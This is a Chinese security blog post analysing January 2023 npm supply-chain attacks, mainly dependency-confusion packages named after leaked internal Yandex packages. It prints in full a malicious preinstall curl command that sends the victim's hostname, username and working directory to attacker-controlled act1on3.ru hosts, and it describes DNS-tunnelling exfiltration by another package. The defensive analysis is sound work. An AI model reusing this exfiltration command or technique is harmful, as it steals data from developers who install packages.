天问 | 利用数据泄露信息进行npm生态供应链攻击

admin 2023年3月15日18:20:09评论17 views字数 3339阅读11分7秒阅读模式

在2023年刚开始的第一个月里,针对npm生态的软件供应链恶意攻击也在持续不断,通过奇安信技术研究院星图实验室研发的“天问”软件供应链安全分析平台对npm生态持续进行监测分析后,总共发现了537个npm恶意包。这其中包括一起利用数据泄露信息进行的大规模上传npm恶意包的新型攻击行为,以及其他持续不断的已知形式的供应链攻击行为。

利用Yandex泄漏的数据进行供应链攻击

2023年1月25日,俄罗斯科技巨头Yandex公司的源代码仓库数据被泄露,随后在1月27日,npm生态就出现了利用该泄露数据进行的供应链攻击。

Yandex是俄罗斯市场占有率最大的搜索引擎,该公司旗下产业涉及广泛,除了搜索引擎之外,还包含地图、打车、云服务、金融支付等等各个领域的软件应用(类似国内的百度)。

天问 | 利用数据泄露信息进行npm生态供应链攻击

在此次泄露事件中,虽然没有相关的用户数据被泄露,但源代码仓库内的信息仍有可能被恶意攻击者利用。根据我们安全研究员的合理推测,攻击者应该是在分析了该代码仓库的内容后,找到了yandex公司内部使用的npm包名称,并对其进行了依赖混淆攻击。

例如,攻击者上传了名为@yandex-travel/[email protected]的恶意包,从包名我们可以推断出该npm包应该存在于yandex公司内部使用的npm源中,在攻击者上传之前npm官方源(registry.npmjs.com)中并没有这个包。攻击者通过在官方源上传同名的npm软件包,以达到依赖混淆攻击的目的。

攻击者在短短两天时间内上传了428个利用了yandex内部npm库名称的恶意包,这些恶意包中都仅仅只包含一个package.json的文件,恶意代码直接嵌入在在该文件的preinstall字段中,如下图所示:

天问 | 利用数据泄露信息进行npm生态供应链攻击

对文件内容增加换行和适当的缩进之后,详细的恶意script字段如下:

"scripts":{    "test":"echo "Error: no test specified" && exit 1",    "preinstall":"curl         -H "Package: @yandex-travel/ui"         -H "Version: 1.1.0"         -H "Hostname: $(hostname | base64)"         -H "Whoami: $(whoami | base64)"         -H "Pwd: $(pwd | base64)"          -d "meow! security test"         http://npm_org.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"}

这段命令执行后会向远程服务地址发起一个HTTP请求,并在header中包含窃取的被攻击者机器上的敏感信息。这些内容包括:

  • 当前被安装包的名称

  • 当前被安装包的具体版本

  • 受害者机器的hostname,并被编码为base64

  • 受害者机器的当前登陆用户名,并被编码为base64

  • 受害者机器的当前工作目录,并被编码为base64

其他的npm包中也均为相同的代码,但其中远程请求的服务地址进行了一些改动,根据分析共发现5个用于接收数据的url地址。

"http://npm-frontend.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/","http://npm-org.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/","http://npm-new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/","http://npm.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/","http://npm-taxi.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/"

除此之外,用于发布这些包的npm 账户也分为三个,详细情况如下:

"_npmUser" : {    "name" : "meow-test",    "email" : "[email protected]"   (共发布258个)}
"_npmUser" : { "name" : "act1on3-test", "email" : "[email protected]" (共发布81个)}
"_npmUser" : { "name" : "security_act1on3_2", "email" : "[email protected]" (共发布89个)},

最后,在此次攻击事件中所有利用的npm包名称及其版本号可点击"查看原文",在博客附录中获取。

2023年1月其他供应链攻击事件

在2023年刚开始的一个月中,除了上述利用数据泄露进行的供应链攻击行为之外,其他之前常见的恶意攻击行为也在持续不断的发生着。“天问”软件供应链安全分析平台共捕获其他的npm恶意包109个,例如,在恶意npm包[email protected]中,攻击者利用DNS分片回传窃取的敏感信息,以达到更加隐蔽的传输目的。这在以往的npm恶意包分析中也遇到过,是一种常见的攻击者用来隐蔽回传信息的方式,感兴趣的朋友可以前往博客查看我们的历史文章。

天问 | 利用数据泄露信息进行npm生态供应链攻击

在上面的代码中,攻击者首先利用一个http请求,从api.ipifly.org获取当前环境下的公网ip地址。然后通过执行代码拿到当前受害者机器上的用户名称、工作目录、主机名称等信息,将这些信息通过DNS解析间接传输给攻击者所控制的域名解析服务器来接收。

该恶意包对外查询DNS的请求形式如下(部分敏感数据已被隐藏):

vcbpk.4.22757365726e616d65223a22726f6f.smnfbb.comvcbpk.5.74222c22686f73746e616d65223a22.smnfbb.comvcbpk.0.7b227061636b6167656e616d65223a.smnfbb.comvcbpk.1.2266692d636f6e6e656374222c2263.smnfbb.comvcbpk.3.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.smnfbb.comvcbpk.6.776f726b6572222c226970223a2222.smnfbb.comvcbpk.2.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.smnfbb.comvcbpk.7.7d00.smnfbb.com

将其中的数据部分拼接起来后得到:

7b227061636b6167656e616d65223a2266692d636f6e6e656374222c2263xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx22757365726e616d65223a22726f6f74222c22686f73746e616d65223a22776f726b6572222c226970223a22227d00

去掉末尾额外附加的两个0,再将该16进制编码转换为utf-8字符即可以获得原始发送的数据内容。

{  "packagename": "fi-connect",  "cwd": xxxxxxxxxxxxxxxxx,  "username": "root",  "hostname": "worker",  "ip": ""}

参考链接

  • Yandex数据泄漏(https://www.bleepingcomputer.com/news/security/yandex-denies-hack-blames-source-code-leak-on-former-employee/)

  • “天问”软件供应链安全分析平台(https://tianwen.qianxin.com/)


“天问”是由奇安信技术研究院星图实验室开发的软件供应链安全分析平台,专注于软件供应链生态的安全风险识别与检测。


我们目前正在招聘,工作地点覆盖北京、上海、南京、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/

原文始发于微信公众号(奇安信技术研究院):天问 | 利用数据泄露信息进行npm生态供应链攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月15日18:20:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   天问 | 利用数据泄露信息进行npm生态供应链攻击https://cn-sec.com/archives/1606557.html

发表评论

匿名网友 填写信息